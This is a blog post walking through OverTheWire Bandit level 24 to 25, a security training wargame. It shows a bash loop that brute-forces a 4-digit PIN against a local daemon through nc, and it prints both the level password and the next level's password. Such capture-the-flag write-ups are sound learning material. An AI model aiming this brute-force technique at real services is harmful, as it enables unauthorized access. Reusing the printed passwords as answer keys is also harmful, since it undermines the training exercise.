Wednesday, January 21, 2015

Bandit Level 24 → Level 25

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinaties, called brute-forcing.

# create a bash script like following, let's name it test.sh
for i in {1..10000}
do
  echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> ./f
done
# bash test.sh, you can see a new file named "f" created
# cat f | nc localhost 30002
.....
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!

The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

No comments:

Post a Comment